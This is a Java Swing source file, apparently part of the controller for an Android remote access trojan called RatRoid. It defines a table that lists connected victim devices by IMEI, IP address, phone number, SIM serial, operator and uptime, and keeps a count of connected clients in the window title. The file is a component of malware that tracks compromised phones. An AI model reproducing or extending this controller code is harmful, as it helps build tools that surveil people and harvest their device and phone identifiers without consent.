/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package GUI;

import Control.User;
import RatRoid.Main;
import java.util.ArrayList;
import java.util.List;
import javax.swing.JScrollPane;
import javax.swing.JTable;
import javax.swing.table.AbstractTableModel;

public class UserTab extends JScrollPane {

    public class TabModel extends AbstractTableModel {

        private final List<User> utilisateurs = new ArrayList<>();
        private final String[] titre = {"Country", "IMEI", "IP Adress", "Device Model", "Operator","Ping (ms)","Phone Number","SIM serial","Phone Uptime"};
        
        public List<User> getutilisateurs(){return utilisateurs;}
        
        public TabModel() {
            super();
        }

        @Override
        public int getRowCount() {
            return utilisateurs.size();
        }

        @Override
        public int getColumnCount() {
            return titre.length;
        }

        @Override
        public String getColumnName(int columnIndex) {
            return titre[columnIndex];
        }

        @Override
        public String getValueAt(int rowIndex, int columnIndex) {
            if (rowIndex < utilisateurs.size()) {
                switch (columnIndex) {
                    case 0:
                        return utilisateurs.get(rowIndex).getimg();
                    case 1:
                        return utilisateurs.get(rowIndex).getimei();
                    case 2:
                        return utilisateurs.get(rowIndex).getip();
                    case 3:
                        return utilisateurs.get(rowIndex).getdevice();
                    case 4:
                        return utilisateurs.get(rowIndex).getoperator();
                    case 5:
                        return utilisateurs.get(rowIndex).getping();
                    case 6:
                        return utilisateurs.get(rowIndex).gettel();
                    case 7:
                        return utilisateurs.get(rowIndex).getsimserial();
                    case 8:
                        return utilisateurs.get(rowIndex).getuptime();
                    default:
                        return null;
                }
            } else {
                return null;
            }
        }
        
        @Override
        public void setValueAt(Object value, int row, int col) {
        this.fireTableCellUpdated(row,col);
    }
        
        public void modifyUser(String imei,String value){
            int i=0;
            for (User user1 : utilisateurs) {
            if (!(user1.getimei().equals(imei))) {i++;}
            else{break;}}
            if(i<(utilisateurs.size())){
                utilisateurs.set(i, new User(getValueAt(i,0),getValueAt(i,1),getValueAt(i,2),getValueAt(i,3),getValueAt(i,4),value,getValueAt(i,6),getValueAt(i,7),getValueAt(i,8)));
                //this.fireTableDataChanged();
            this.setValueAt(value,i,5);
            }
        }

        public void addUser(User user) {
            int i=0;
            for (User user1 : utilisateurs) {
            if (!(user1.getimei().equals(user.getimei()))) {i++;}}
            if(i==(utilisateurs.size())){
            utilisateurs.add(user);
            fireTableRowsInserted(utilisateurs.size() - 1, utilisateurs.size() - 1);
            Main.nbcliens++;
            Main.myapp.setTitle("RatRoid "+"["+Main.nbcliens+"]");
                MainGui.conntext.setText(" Connected Clients : "+Main.nbcliens);
            }
        }
        
        public void removeUser(String imei) {
            for (User user : utilisateurs) {
                if (user.getimei().equals(imei)) {
                    utilisateurs.remove(user);
                    Main.nbcliens--;
                    Main.myapp.setTitle("RatRoid "+"["+Main.nbcliens+"]");
                    MainGui.conntext.setText(" Connected Clients : "+Main.nbcliens);
                    return;
                }
            }
        }
    }

    public UserTab() {
        jTable1.setModel(mymodel);
        this.setViewportView(jTable1);

    }
    JTable jTable1 = new javax.swing.JTable();
        TabModel mymodel = new TabModel();
        

}